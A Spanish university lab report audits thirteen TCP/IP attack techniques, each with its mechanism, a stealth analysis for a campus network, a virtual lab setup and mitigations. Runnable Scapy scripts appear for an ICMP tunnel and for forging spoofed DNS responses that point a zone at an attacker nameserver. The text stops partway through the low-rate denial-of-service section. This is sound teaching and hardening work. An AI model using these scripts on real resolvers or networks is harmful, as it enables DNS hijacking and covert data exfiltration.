

Taller 2

Presentado por:

Yadixon David Alfonso Chiquillo – yalfonsoc@unal.edu.co

Daniel Alonso Gracia Pinto– dagraciap@unal.edu.co

Oscar Ivan Ulises Gutierrez Palacios - osgutierrezp@unal.edu.co

Juan Camilo Vergara Tao – juvergarat@unal.edu.co

Profesor:

Ing. Octavio José Salcedo Parra.

octavionetworking@gmail.com



Universidad Nacional de Colombia

Facultad de Ingeniería

Departamento de Ingeniería de Sistemas y Computación

2026-1S

Introducción

La pila de protocolos TCP/IP, diseñada originalmente bajo supuestos de confianza y unificación cooperativa de redes, adolece de debilidades de diseño inherentes que se manifiestan de manera crítica a nivel de capa física, de red, de transporte y de aplicación.¹ La ausencia estructural de autenticación en protocolos basales como ARP, IP, ICMP, DNS y el propio control de estado de TCP permite la orquestación de ataques altamente sofisticados que comprometen la confidencialidad, integridad y disponibilidad del tráfico de red.³

La tabla que se presenta a continuación consolida la taxonomía multicapa de las trece vulnerabilidades analizadas en este informe de auditoría, detallando el vector de compromiso estructural y la métrica de criticidad asociada:

Vulnerabilidad	Protocolo Principal	Capa TCP/IP	Vector Estructural Explotado	Métrica de Criticidad (CVSS)
1. Canales Encubiertos en Cabeceras	IP / TCP	Internet / Transporte	Campos no validados (IP ID, ISN, TTL, Flags) ¹	Medio-Bajo
2. Canales por Temporización	TCP / UDP	Transporte	Intervalos entre paquetes (IPD) ³	Bajo
3. Secuestro de Sesión TCP	TCP	Transporte	Previsibilidad de secuencia / canales colaterales ⁴	Alto
4. Escaneo Inactivo (Zombie)	IP / TCP	Internet / Transporte	Linealidad del incremento de IP ID ¹	Medio
5. Tunnelización ICMP	ICMP	Internet	Campo de datos opcional (Payload de Echo) ¹	Medio
6. Envenenamiento de Caché DNS	DNS	Aplicación	Predictibilidad de TXID y puertos de consulta ⁷	Alto
7. Fragmentación IP Avanzada	IP	Internet	Ambigüedad en reensamblaje y solapamiento de	Alto

			offsets ¹	
8. Ataques Off-Path con ICMP	ICMP	Internet	Confianza ciega en mensajes de error no autenticados ⁴	Medio-Alto
9. Denegación de Servicio LDoS	TCP	Transporte	Sincronización con el temporizador de retransmisión (RTO) ²	Alto
10. Exfiltración Lenta por DNS	DNS	Aplicación	Resolución jerárquica y codificación en subdominios ⁷	Medio-Alto
11. ARP Spoofing Silencioso	ARP	Acceso a Red	Ausencia de estado y validación de tramas Reply ¹¹	Medio-Alto
12. Ataques de Degradación	TLS / SSH	Aplicación	Modificación de la lista de Cipher Suites en tránsito ³	Medio-Alto
13. Ataques Low-and-Slow	HTTP / TCP	Aplicación / Transporte	Retención indefinida de sockets y subprocesos del pool ²	Alto

Las trece vulnerabilidades identificadas en la taxonomía anterior se examinan de manera individual a lo largo de las secciones que conforman este informe. Cada entrada se estructura en cinco subsecciones complementarias: el mecanismo de operación y la arquitectura del protocolo afectado (A), el análisis de las condiciones que favorecen su explotación sigilosa en entornos de red académica universitaria (B), la definición del escenario de laboratorio virtualizado con sus parámetros de red (C), la implementación técnica con el script de demostración conceptual (D), y la propuesta de mitigación con su validación práctica (E). Este esquema unificado permite contrastar de manera sistemática el comportamiento de cada vector de amenaza a través de las capas de la pila TCP/IP y evaluar la efectividad de las estrategias de hardening propuestas frente a cada vulnerabilidad estructural.

1. Canales Encubiertos en Cabeceras TCP/IP (Campos IP ID, ISN, ACK, TTL, Flags)

A. Mecanismo de Operación y Arquitectura del Protocolo

Los canales encubiertos de almacenamiento se fundamentan en la manipulación maliciosa de campos de cabecera que los dispositivos de enrutamiento intermedios ignoran o procesan de forma estandarizada.¹ El campo *IP Identification* (IP ID, 16 bits), concebido para el reensamblaje de fragmentos (RFC 791), resulta prescindible en tramas con el flag *Don't Fragment* ($DF = 1$) activo.¹ Un emisor encubierto puede inyectar caracteres ASCII directamente en este campo de 16 bits.³

De forma similar, el *Initial Sequence Number* (ISN, 32 bits) de la cabecera TCP (RFC 793) se utiliza para codificar datos de manera arbitraria.² En lugar de generar un ISN pseudoaleatorio seguro, se inyectan datos codificados en los paquetes de establecimiento de conexión SYN.² El campo *Time to Live* (TTL, 8 bits) también puede modularse variando su valor de forma controlada entre límites establecidos para representar estados lógicos.³

La capacidad teórica del canal encubierto de almacenamiento se analiza evaluando la entropía de los campos alterados. Para un campo de tamaño k bits, la capacidad máxima por paquete viene dada por:

$$C = k - H(X)$$

Donde $H(X)$ es la entropía del ruido intrínseco del canal introducido por reescrituras de cabeceras, NAT o normalizadores de tráfico intermedios.³

B. Análisis de Sigilo en el Entorno de Red Académica

En una red de investigación universitaria, donde coexisten infraestructuras experimentales y tráficos de simulación, la dispersión estadística de las cabeceras TCP/IP es alta. Los analizadores de firmas IDS estándar no realizan un análisis de distribución de entropía en tiempo real para los campos de control de conexiones legítimas, lo que permite que el tráfico alterado pase desapercibido al alinearse con el flujo masivo de paquetes de la institución.³

C. Escenario de Laboratorio y Parámetros de Red

La topología se define en VirtualBox bajo un segmento de red host-only (10.9.0.0/24):

- **Host Emisor (Kali Linux):** IP 10.9.0.101, MAC 08:00:27:01:aa:bb, interfaz eth0.

- **Host Receptor (Ubuntu Linux):** IP 10.9.0.102, MAC 08:00:27:02:cc:dd, interfaz enp0s3.
- **Herramienta de captura:** Scapy para la manipulación y decodificación manual de los campos de cabecera.

D. Implementación Técnica y Script Base

E. Propuesta de Mitigación y Validation Conceptual

La mitigación de canales de almacenamiento en cabeceras se implementa a través de la normalización del tráfico en los enrutadores fronterizos mediante la reescritura activa de cabeceras (Traffic Scrubbing).³ En el núcleo Linux, se habilitan mecanismos criptográficos fuertes para la generación de ISN (RFC 6528) y se normaliza el campo IP ID para tramas no fragmentadas.¹

La validación conceptual se realiza inspeccionando las tramas tras cruzar un nodo de filtrado con un normalizador de tráfico activo. Se observa que los campos IP ID e ISN se reescriben a valores secuenciales limpios y pseudoaleatorios respectivamente, destruyendo los datos codificados por el emisor sin interrumpir la conectividad TCP del flujo.³

2. Timing Covert Channels (Canales por temporización de intervalos de paquetes)

A. Mecanismo de Operación y Arquitectura del Protocolo

Los canales encubiertos basados en temporización (Timing Covert Channels) modulan los intervalos de tiempo entre paquetes consecutivos (Inter-Packet Delay - IPD) para transmitir información.³ A diferencia de los canales de almacenamiento, no se altera un solo bit de la cabecera ni de la carga útil del paquete.³

La codificación clásica asocia una ventana de retardo pequeña t_0 a un bit 0 y una ventana mayor t_1 a un bit 1 .³ El receptor mide los tiempos de llegada de los paquetes secuenciales (r_k, r_{k-1}) en la interfaz de red para decodificar la señal.

La sincronización y robustez del canal se ven comprometidas por la fluctuación temporal (jitter) acumulada durante el enrutamiento.³ Siendo D el retraso de propagación promedio de la red y ϵ_k la variable aleatoria que modela la fluctuación en el paquete k , el tiempo de llegada se define mediante:

$$r_k = t_k + D + \epsilon_k$$

Si la varianza del jitter $Var(\epsilon_k)$ supera la diferencia temporal entre las ventanas de retardo ($|t_1 - t_0|$), se incrementa la tasa de error de bits (BER), obligando a utilizar codificación diferencial o mecanismos de redundancia.³

B. Análisis de Sigilo en el Entorno de Red Académica

Las redes de investigación académica exhiben patrones de tráfico altamente fluctuantes debidos a cálculos paralelos distribuidos y conexiones Wi-Fi congestionadas. Esto genera un ruido de fondo de fluctuación extremadamente denso que disfraza de forma natural las micro-modulaciones temporales introducidas por el canal encubierto, haciendo que el tráfico malicioso sea indistinguible de una conexión con problemas de latencia o retransmisión.³

C. Escenario de Laboratorio y Parámetros de Red

La simulación se despliega en VirtualBox en el rango 10.9.0.0/24:

- **Host Emisor (Kali Linux):** IP 10.9.0.101, transmitiendo tramas de control ICMP Echo Request.
- **Host Receptor (Ubuntu Linux):** IP 10.9.0.102, capturando tramas con sockets raw.
- **Herramienta de análisis:** Capturas de trazas de paquetes en formato PCAP analizadas mediante scripts de temporización de series temporales.

D. Implementación Técnica y Script Base

E. Propuesta de Mitigación y Validación Conceptual

La neutralización de canales por temporización se realiza mediante jammers de tráfico intermedios instalados en las puertas de enlace.³ Estos dispositivos buffering de colas retienen de manera dinámica los paquetes salientes y los liberan siguiendo una temporización uniforme fija o añadiendo ruido de jitter controlado que destruye cualquier firma de temporización artificial sin afectar la entrega del protocolo.³

La validación conceptual se realiza evaluando la autocorrelación de los intervalos de llegada de paquetes antes y después del jammer de red, demostrando la aniquilación de la señal modulada tras la inyección del jitter de mitigación.³

3. TCP Session Hijacking con Predicción de Secuencias (con enfoque off-path)

A. Mecanismo de Operación y Arquitectura del Protocolo

El secuestro de sesión TCP off-path se ejecuta sin necesidad de interceptar físicamente el flujo de paquetes que viaja entre un cliente y un servidor.² El atacante aprovecha el diseño del protocolo de control de estado de TCP (RFC 793) para inyectar segmentos con el flag ACK y datos falsificados en una sesión activa.² Para lograrlo, se debe adivinar la tupla de conexión (puertos y direcciones IP) y determinar un número de secuencia válido que caiga dentro de la ventana de recepción actual de la víctima.²

Los métodos de ataque aprovechan canales colaterales (side-channels) como la inyección de errores ICMP falsificados que alteran el comportamiento del campo IP ID en el sistema operativo objetivo (CVE-2020-36516), revelando la estructura de puertos de conexión activos y números de secuencia válidos a través de respuestas diferenciales de control (Challenge ACKs).⁴

El atacante busca explotar el hecho de que si se inyecta un segmento TCP SYN fuera de secuencia, el receptor devolverá un Challenge ACK según las directrices del RFC 5961.⁴ Si el número de consultas de Challenge ACKs permitidas por segundo está limitado por un contador de rate-limiting global (CVE-2016-5696), el atacante puede medir las respuestas de este contador global desde una dirección IP Spoofing diferente para deducir de manera matemática si la sonda SYN inyectada cayó dentro del rango de secuencia correcto.⁴

B. Análisis de Sigilo en el Entorno de Red Académica

Este ataque resulta sigiloso en entornos universitarios ya que no requiere la inyección de tráfico ARP malicioso ni la alteración de las tablas de enrutamiento del campus. Las ráfagas de paquetes de prueba enviadas de manera externa se confunden con retransmisiones normales originadas por la inestabilidad de conexiones remotas, evadiendo la detección pasiva de anomalías en los switches de capa de acceso.

C. Escenario de Laboratorio y Parámetros de Red

La configuración de red en VirtualBox incluye tres servidores interconectados bajo el segmento 10.9.0.0/24:

- **Servidor Víctima (Debian Linux):** IP 10.9.0.5, ejecutando una sesión TCP interactiva unencrypted.
- **Cliente Víctima (Ubuntu Linux):** IP 10.9.0.6, conectado al servidor.
- **Atacante Off-Path (Kali Linux):** IP 10.9.0.7, intentando inyectar payloads arbitrarios.

D. Implementación Técnica y Script Base

E. Propuesta de Mitigación y Validación Conceptual

La mitigación estructural exige la implementación estricta de aleatorización criptográfica fuerte de ISN (RFC 6528) junto con la limitación de la exposición de Challenge ACKs

mediante la reconfiguración de parámetros del Kernel.⁵ Se procede a modificar el parámetro `sysctl` correspondiente en el archivo `/etc/sysctl.conf` para deshabilitar la regularidad temporal del contador de respuestas:

Shell

```
# Elevar el límite de Challenge ACKs para cerrar el canal  
colateral  
  
sudo sysctl -w net.ipv4.tcp_challenge_ack_limit=2147483647
```

La validación conceptual confirma que, tras la modificación de este parámetro, la tasa de generación de Challenge ACKs del servidor ante un escaneo por inyección de SYN se mantiene uniforme y sin congestionar el contador global, eliminando el canal de fuga de información y haciendo imposible que el atacante deduzca los números de secuencia válidos.¹²

4. Idle Scan / Zombie Scan

A. Mecanismo de Operación y Arquitectura del Protocolo

El escaneo inactivo (Idle Scan) es un método de reconocimiento ciego que aprovecha el comportamiento predictivo del campo de identificación IP (IP ID) de un host intermediario (denominado "Zombie") para deducir el estado de los puertos de un servidor objetivo, todo ello sin enviar un solo paquete desde la dirección IP real del atacante.¹

El ataque explota la asignación secuencial o predecible del campo IP ID que ciertos sistemas operativos asocian a paquetes unicast sucesivos (RFC 791).¹ El flujo lógico del ataque comprende los siguientes pasos:

1. El atacante envía un paquete TCP SYN-ACK al host Zombie. El Zombie responde con un paquete TCP RST que contiene su valor actual de IP ID, denotado como $IPID_{t0}$.
2. El atacante envía un paquete TCP SYN falsificado (IP spoofing) al servidor objetivo utilizando la dirección IP del Zombie como dirección de origen.
3. Si el puerto del objetivo está **abierto**, este responde al Zombie con un paquete TCP SYN-ACK. El Zombie responde al objetivo con un paquete TCP RST, incrementando su propio contador de IP ID en 1 .
4. Si el puerto del objetivo está **cerrado**, este responde al Zombie con un paquete TCP RST. El Zombie ignora este paquete y no incrementa su IP ID.
5. El atacante vuelve a enviar un paquete TCP SYN-ACK al Zombie y registra el nuevo

IP ID en la respuesta RST obtenida, denotado como $IPID_{t1}$.

El análisis matemática de la diferencia de los contadores permite deducir el estado del puerto auditado:

$$\Delta IPID = IPID_{t1} - IPID_{t0}$$

Si $\Delta IPID = 2$, el puerto del objetivo está abierto. Si $\Delta IPID = 1$, el puerto está cerrado o filtrado.

B. Análisis de Sigilo en el Entorno de Red Académica

En redes universitarias es común la presencia de una gran variedad de dispositivos conectados sin supervisión activa, tales como impresoras de red o cámaras IP que ejecutan stacks de protocolos heredados con asignación lineal de IP ID. Estos hosts actúan como Zombies ideales. Dado que las trazas de paquetes de la máquina objetivo solo registran intentos de conexión provenientes de la dirección IP de estos dispositivos locales, el verdadero origen del escaneo permanece completamente oculto.

C. Escenario de Laboratorio y Parámetros de Red

La configuración del laboratorio virtualizado en VirtualBox utiliza el direccionamiento 10.9.0.0/24:

- **Atacante (Kali Linux):** IP 10.9.0.100, ejecutando herramientas de escaneo como Nmap.
- **Host Zombie (Sistema Vulnerable):** IP 10.9.0.150 (con IP ID incremental).
- **Host Objetivo (Servidor Ubuntu):** IP 10.9.0.200.

D. Implementación Técnica y Script Base

E. Propuesta de Mitigación y Validación Conceptual

La mitigación efectiva requiere el bloqueo sistemático de tramas con direcciones IP falsificadas mediante el despliegue del filtro de ruta inversa (Reverse Path Filtering - `rp_filter`) en las interfaces de enrutamiento y el endurecimiento de la asignación del IP ID para usar valores no correlacionados e independientes por peer de conexión.¹ Se procede a habilitar la verificación estricta de ruta inversa:

Shell

```
# Configuración del filtro de ruta inversa strict (mode 1)
```

```
sudo sysctl -w net.ipv4.conf.all.rp_filter=1  
sudo sysctl -w net.ipv4.conf.default.rp_filter=1
```

La validación de esta mitigación se verifica al intentar realizar el escaneo falsificado. El enrutador intermedio detecta que los paquetes SYN falsificados ingresan por una interfaz física inconsistente con las tablas de enrutamiento de retorno, descartando inmediatamente los paquetes antes de que alcancen al host objetivo.

5. ICMP Tunneling (Encapsulación de datos arbitrarios en Echo Request/Reply)

A. Mecanismo de Operación y Arquitectura del Protocolo

La tunelización ICMP explota el diseño de los mensajes de control de red Echo Request (Type 8) y Echo Reply (Type 0) para encapsular flujos de datos arbitrarios a nivel de capa de aplicación, evadiendo los controles de seguridad que restringen los puertos lógicos de transporte TCP/UDP habituales.¹ El estándar del protocolo ICMP (RFC 792) permite que las solicitudes y respuestas de diagnóstico transporten un payload de datos arbitrario opcional para que el emisor asocie identificadores temporales de control.¹

Al no verificar la integridad ni el propósito del contenido de la carga útil, un atacante puede inyectar datagramas completos de protocolos de red superiores directamente dentro del payload de los pings. El emisor y el receptor remotos establecen una comunicación bidireccional mediante la decodificación sistemática de las tramas en la capa de red (Layer 3), comunicándose de forma interactiva sin abrir sockets de escucha convencionales.

B. Análisis de Sigilo en el Entorno de Red Académica

Las redes académicas universitarias mantienen activas de forma irrestricta políticas que permiten el paso bidireccional del tráfico ICMP para facilitar el uso de herramientas de diagnóstico como ping y traceroute. La mayoría de los sistemas de prevención de intrusiones corporativos omiten la inspección profunda de paquetes (DPI) del payload de tramas ICMP siempre que la longitud total del paquete no exceda de manera exagerada los estándares típicos.

C. Escenario de Laboratorio y Parámetros de Red

La configuración de red en VirtualBox simula un canal de datos bajo 10.9.0.0/24:

- **Emisor del Túnel (Kali Linux):** IP 10.9.0.101.
- **Receptor del Túnel (Ubuntu Server):** IP 10.9.0.102.

- **Protocolo explotado:** ICMP Tipo 8 (Echo Request) y Tipo 0 (Echo Reply).

D. Implementación Técnica y Script Base

El primer script (Emisor) lee la cadena de datos pasada como parámetro, construye un datagrama de Capa 3 utilizando Scapy con la IP del objetivo y una cabecera ICMP tipo 8, y concatena los datos codificados directamente en formato Raw. El segundo script (Receptor) utiliza un hilo de escucha persistente mediante la función `sniff()` de Scapy filtrando tráfico "icmp". Al interceptar un Echo Request entrante, comprueba si contiene un payload Raw, lo decodifica a UTF-8 y lo imprime en pantalla de manera inmediata. Se utiliza la biblioteca Scapy para evitar la complejidad de manejar directamente sockets Raw a nivel de sistema operativo y facilitar el desempaquetado de las cabeceras de red. Para confirmar el correcto funcionamiento de la tunelización, la consola del host receptor debe registrar el texto de prueba exacto enviado desde el emisor, demostrando el paso de información útil sin sesiones lógicas TCP/UDP.

Python

```
# Script para el emisor de tunelización ICMP
from scapy.all import IP, ICMP, send
import sys

def transmitir_payload_icmp(target_ip, string_datos):
    # Encapsulación de la carga útil directamente en el payload
    # del Echo Request
    cabecera_ip = IP(dst=target_ip)
    cabecera_icmp = ICMP(type=8, code=0)
    packet = cabecera_ip / cabecera_icmp /
    string_datos.encode('utf-8')

    # Envío a nivel de Capa de Internet
    send(packet, verbose=False)
    print(f"[+] Datos transmitidos con éxito al host {target_ip}")

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print("Uso: python3 send_icmp.py <IP_Destino> <Mensaje>")
        sys.exit(1)
    transmitir_payload_icmp(sys.argv[1], sys.argv[2])
```

Para procesar las tramas entrantes en el receptor de forma continua, se despliega el siguiente script de escucha:

Python

```
# Script para el receptor de tunelización ICMP
from scapy.all import sniff, ICMP, Raw, IP
```

```
def decodificar_icmp(packet):
    # Validar si el paquete es un Echo Request con carga útil
    # disponible
    if packet.haslayer(ICMP) and packet[ICMP].type == 8:
        if packet.haslayer(Raw):
            datos_extraidos = packet.load.decode('utf-8',
            errors='ignore')
            print(f"[*] Origen: {packet[IP].src} -> Mensaje
            Extraído: {datos_extraidos}")

print("[+] Iniciando la escucha pasiva de tráfico tunelizado
ICMP...")
sniff(filter="icmp", prn=decodificar_icmp, store=0)
```

E. Propuesta de Mitigación y Validación Conceptual

La mitigación frente a túneles ICMP requiere restringir el paso de payloads inusuales o bloquear paquetes Echo Request que excedan la longitud estandarizada de 84 bytes. Se procede a configurar reglas restrictivas en la tabla de filtrado de iptables:

```
None
# Descartar paquetes ICMP Echo Request que excedan una longitud
total de 84 bytes
sudo iptables -A INPUT -p icmp --icmp-type echo-request -m length
--length 85:65535 -j DROP
```

La validación conceptual de esta regla demuestra que, al intentar ejecutar el script de tunelización para transmitir cadenas de datos de longitud superior, el firewall del receptor intercepta y descarta silenciosamente las tramas, al tiempo que permite que los pings legítimos de diagnóstico continúen respondiendo de manera fluida.

6. DNS Cache Poisoning (Técnicas modernas de envenenamiento y fragmentación DNS)

A. Mecanismo de Operación y Arquitectura del Protocolo

El envenenamiento de caché DNS explota la naturaleza sin estado del protocolo de transporte UDP utilizado tradicionalmente para la resolución de nombres de dominio.⁷ En un ataque clásico de tipo Kaminsky, el atacante busca inyectar respuestas falsas en la caché de un resolvidor DNS recursivo local.⁸

El flujo de explotación se orquesta mediante los siguientes pasos secuenciales:

1. El atacante realiza de forma repetitiva consultas DNS al resolvidor recursivo local solicitando subdominios inexistentes generados de manera aleatoria bajo una zona objetivo legítima (por ejemplo, rand001.ejemplo.com, rand002.ejemplo.com).
2. Dado que los subdominios aleatorios no residen en la memoria caché del resolvidor local, este se ve obligado a reenviar consultas iterativas a los servidores DNS autorizados del dominio principal ejemplo.com.⁷
3. Simultáneamente al reenvío de la consulta recursiva, el atacante inunda al resolvidor recursivo con respuestas DNS falsificadas imitando la identidad IP del servidor DNS autorizado legítimo.⁸
4. Cada paquete falsificado intenta adivinar el Identificador de Transacción DNS (TXID, 16 bits) de la consulta original y el puerto de origen UDP efímero (16 bits) seleccionado por el resolvidor para la transacción.
5. En las respuestas falsas, el atacante añade una sección de Autoridad (Authority Section) modificada que redefine de manera permanente los servidores de nombres (NS) de la zona objetivo para apuntar a un resolvidor DNS de su propiedad.⁸

B. Análisis de Sigilo en el Entorno de Red Académica

Las instituciones de educación superior procesan diariamente millones de resoluciones DNS. Al no inspeccionar de forma estricta los picos menores de tráfico UDP dirigidos al puerto de resolución 53, los atacantes pueden automatizar la inyección de respuestas falsificadas de manera silenciosa sin alterar las alertas de saturación volumétrica perimetrales.⁷

C. Escenario de Laboratorio y Parámetros de Red

La infraestructura del laboratorio se virtualiza utilizando el direccionamiento 10.9.0.0/24:

- **Resolvidor Recursivo (BIND9 en Debian):** IP 10.9.0.53.
- **Servidor DNS Autorizado Legítimo:** IP 10.9.0.120.
- **Atacante (Kali Linux):** IP 10.9.0.153.

D. Implementación Técnica y Script Base

El script de simulación utiliza Scapy y la biblioteca random de Python. Genera de manera automatizada tramas IP/UDP suplantando la dirección IP de origen del DNS Autorizado (10.9.0.120) destinadas al Resolvidor local (10.9.0.53). El script construye una respuesta DNS autoritativa (qr=1, aa=1) con secciones de registros de autoridad (ns) y recursos adicionales (ar) que enlazan de manera fraudulenta el dominio principal al servidor controlado por el atacante. Para superar la mitigación de aleatorización de puertos, el campo dport de UDP (puerto de destino de la respuesta, que equivale al puerto efímero

desde donde consultó el resolutor) se calcula dinámicamente en cada iteración recorriendo el rango completo de puertos efímeros lógicos 1024-65535 empleando `random.randint()`. Para confirmar el funcionamiento del ataque, la salida mostrará las tramas inyectadas con TXID y puertos de destino aleatorios; en el servidor recursivo, la ejecución del comando `rndc dumpdb -cache` revelará el envenenamiento de los registros NS de la zona.

Python

```
# Script de inyección de respuestas DNS con aleatorización de puertos
from scapy.all import IP, UDP, DNS, DNSQR, DNSRR, send
import random
import sys

def inyectar_respuesta_forjada(target_resolver, auth_server_ip,
                               domain_query, fake_ns, fake_ns_ip):
    # Generar un ID de transacción aleatorio de 16 bits para el paquete DNS
    trans_id = random.randint(1, 65535)

    # Iterar aleatoriamente sobre el rango de puertos efímeros de origen de consulta
    puerto_destino = random.randint(1024, 65535)

    # Construcción de la trama de transporte suplantando la IP del DNS Autorizado
    packet = IP(src=auth_server_ip, dst=target_resolver) / \
        UDP(sport=53, dport=puerto_destino) / \
        DNS(
            id=trans_id,
            qr=1,          # Response
            aa=1,          # Authoritative
            qd=DNSQR(qname=domain_query, qtype='A'),
            an=DNSRR(rrname=domain_query, type='A',
            ttl=86400, rdata="1.1.1.1"),
            ns=DNSRR(rrname="ejemplo.com", type='NS',
            ttl=86400, rdata=fake_ns),
            ar=DNSRR(rrname=fake_ns, type='A', rclass='IN',
            ttl=86400, rdata=fake_ns_ip)
        )

    send(packet, verbose=False)
    print(f"[+] Sonda inyectada: Puerto_Destino={puerto_destino} | TXID={trans_id}")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Uso: python3 dns_poison.py <Subdominio_Aleatorio>")
```

```

        sys.exit(1)

subdominio_consulta = f"{sys.argv[1]}.ejemplo.com."
inyectar_respuesta_forjada(
    target_resolver="10.9.0.53",
    auth_server_ip="10.9.0.120",
    domain_query=subdominio_consulta,
    fake_ns="ns.attacker32.com.",
    fake_ns_ip="10.9.0.153"
)

```

E. Propuesta de Mitigación y Validación Conceptual

La resolución exige la activación de DNSSEC, que introduce firmas criptográficas autorizadas (RRSIG) sobre cada registro de datos.⁸ En el resolutor recursivo BIND9, esto se configura modificando el archivo `/etc/bind/named.conf.options`:

```

None
// Forzar la validación estricta de firmas DNSSEC
options {
    dnssec-validation auto;
};

```

La validación conceptual se verifica al reiniciar el servicio de resolución BIND9. Cuando un host atacante intenta inyectar respuestas sin las firmas criptográficas validadas por la cadena de confianza raíz de DNSSEC, el servidor recursivo detecta la inconsistencia lógica y descarta las tramas inyectadas, respondiendo al cliente con un estado `SERVFAIL`.

7. Evasión de IDS mediante Fragmentación IP Avanzada (Overlapping y variantes)

A. Mecanismo de Operación y Arquitectura del Protocolo

La fragmentación IP permite la división de un datagrama IP cuando este supera la Unidad Máxima de Transmisión (MTU) de un canal de red físico intermedio (RFC 791).¹ Sin embargo, la reconstrucción de estos fragmentos es gestionada de manera independiente por la pila de cada sistema operativo, introduciendo inconsistencias lógicas debido a la falta de un estándar de reensamblaje unificado.

Un atacante aprovecha esta variabilidad enviando fragmentos de paquetes IP que se solapan (overlapping offsets) o alterando los campos de longitud de las cabeceras.⁹ Si el Fragmento 1 transporta un payload inofensivo y el Fragmento 2 (con un offset solapado)

contiene código malicioso, el receptor final sobrescribirá la memoria original ensamblando el exploit.⁹ Mientras tanto, un Sistema de Detección de Intrusiones (IDS) que realice reensamblaje bajo una política inconsistente procesará únicamente el payload inofensivo, permitiendo que la firma maliciosa evada por completo la inspección perimetral.

B. Análisis de Sigilo en el Entorno de Red Académica

Las infraestructuras de red académicas universitarias interconectan múltiples segmentos WAN dinámicos, túneles VPN y redes virtuales locales que introducen niveles altos de fragmentación IP natural debida a variaciones legítimas de MTU. Debido a esto, los analizadores IDS perimetrales no consideran la fragmentación como un vector anómalo inicial, permitiendo la evasión de firmas.

C. Escenario de Laboratorio y Parámetros de Red

La topología se define en VirtualBox bajo 10.9.0.0/24:

- **Atacante (Kali Linux):** IP 10.9.0.101.
- **Nodo Objetivo (Ubuntu con IDS Suricata):** IP 10.9.0.102.
- **Protocolo auditado:** IP de capa 3 con fragmentos modificados en offset y longitud.

D. Implementación Técnica y Script Base

E. Propuesta de Mitigación y Validación Conceptual

La mitigación requiere la habilitación del motor de reensamblaje estricto de tramas (Stateful IP Reassembly) de los sistemas IDS de red para sincronizar sus políticas con las de los hosts finales.⁹ Adicionalmente, se puede forzar el descarte de paquetes que presenten solapamientos de offset directamente en la capa de filtrado perimetral de iptables:

None

```
# Regla de firewall para descartar paquetes IP fragmentados  
sospechosos  
sudo iptables -t mangle -A PREROUTING -f -j DROP
```

La validación conceptual de este control se confirma ejecutando intentos de inyección con offsets superpuestos. El firewall intercepta y descarta las tramas fragmentadas al detectar el solapamiento en la tabla mangle, evitando que el receptor ensamble payloads inconsistentes.

8. Ataques Off-Path con ICMP Forged (Mensajes de control falsificados)

A. Mecanismo de Operación y Arquitectura del Protocolo

Los ataques off-path utilizando tramas ICMP forjadas aprovechan la debilidad en los mecanismos de validación cruzada entre capas que ejecutan la mayoría de los núcleos de sistemas operativos al procesar mensajes de error e información de control de red.⁴ Como ICMP es un protocolo sin estado de conexión, un host remoto puede suplantar la dirección IP de una puerta de enlace de red y forzar cambios de estado en las conexiones TCP activas de un objetivo.¹

Un atacante puede orquestar este compromiso mediante el envío de mensajes *ICMP Fragmentation Needed* (Type 3, Code 4) enviando información de tamaño de MTU falsa indicando valores extremadamente reducidos, obligando a que la sesión TCP se degrade dividiendo sus segmentos de datos al mínimo y reduciendo drásticamente la eficiencia de la conexión.⁴ Para que el núcleo receptor procese estos mensajes forjados, el atacante debe incluir en el payload del mensaje ICMP las cabeceras originales del paquete TCP/UDP de la sesión legítima, lo que requiere deducir los puertos efímeros y la numeración de secuencia en tránsito mediante canales de fuga colaterales (CVE-2020-36516).⁴

B. Análisis de Sigilo en el Entorno de Red Académica

Las infraestructuras de enrutamiento dinámico presentes en campus universitarios generan flujos continuos de señalización ICMP legítima debido a balanceos de carga, redundancia y mantenimiento diario de subredes. Un volumen bajo de mensajes ICMP falsificados se mimetiza con la telemetría de red habitual del entorno escolar.

C. Escenario de Laboratorio y Parámetros de Red

El laboratorio se estructura en VirtualBox bajo 10.9.0.0/24:

- **Atacante (Kali Linux):** IP 10.9.0.10, forjando tramas raw.
- **Víctima (Ubuntu):** IP 10.9.0.20, manteniendo una conexión de datos.
- **Pasarela Suplantada:** IP 10.9.0.1 (Default Gateway).

D. Implementación Técnica y Script Base

E. Propuesta de Mitigación y Validación Conceptual

La mitigación se implementa desactivando la aceptación automática de redireccionamientos y forzando la validación estricta de errores ICMP por medio de parámetros del Kernel.⁴ Adicionalmente, se habilita la detección adaptativa de agujeros negros de MTU (`tcp_mtu_probing = 1`) para que la pila del sistema operativo pruebe de manera autónoma tamaños de segmento alternativos si se sospecha de un descarte silencioso ⁴:

Shell

```
# Bloquear el procesamiento de redireccionamientos ICMP y
```

habilitar MTU probing

```
sudo sysctl -w net.ipv4.conf.all.accept_redirects=0  
sudo sysctl -w net.ipv4.conf.default.accept_redirects=0  
sudo sysctl -w net.ipv4.tcp_mtu_probing=1
```

La validación conceptual de esta contramedida se demuestra inyectando tramas forjadas de redirección desde el host del atacante. Al consultar la tabla de rutas interna de la víctima (ip route show), se observa que la ruta de enrutamiento se mantiene estática y sin alteraciones, y la conexión TCP puede recuperarse independientemente de la falsificación del MTU gracias a la autoevaluación activa activada por tcp_mtu_probing = 1.

9. Low-Rate Denial of Service (LDoS / Shrew Attacks contra mecanismos de control de congestión)

A. Mecanismo de Operación y Arquitectura del Protocolo

Los ataques de denegación de servicio de baja tasa (LDoS o Shrew Attacks) se diseñaron de manera específica para degradar el rendimiento de conexiones basadas en TCP sin requerir la saturación continua del enlace físico de la víctima.¹⁰ Estos ataques explotan el comportamiento del algoritmo de control de congestión de TCP y su temporizador de expiración por inactividad de retransmisión (Retransmission Timeout - RTO).²

El ataque opera mediante el envío de ráfagas periódicas cortas pero de muy alta intensidad, dirigidas a congestionar un enrutador de cuello de botella intermedio.¹⁰ El período de envío

de estas ráfagas (T) se sincroniza matemáticamente para igualar el valor mínimo estandarizado de RTO de la mayoría de los sistemas operativos (

$\min RTO \approx 1 \text{ segundo}$)¹⁰:

$$T \approx \min RTO$$

La ráfaga de duración L causa un descarte masivo de paquetes en la cola del enrutador.¹⁰ Cuando el transmisor legítimo detecta la pérdida, entra en modo de reducción de ventana

de congestión y espera la expiración del temporizador $\min RTO$ para retransmitir las tramas descartadas.¹⁰ Justo cuando expira el temporizador e intenta retransmitir los paquetes, el atacante inyecta una nueva ráfaga periódica de corta duración, provocando un descarte repetitivo.¹⁰ Esto obliga a que el valor del RTO se duplique exponencialmente (1s, 2s, 4s, 8s, etc.), reduciendo a cero el caudal efectivo de las conexiones legítimas.¹⁰

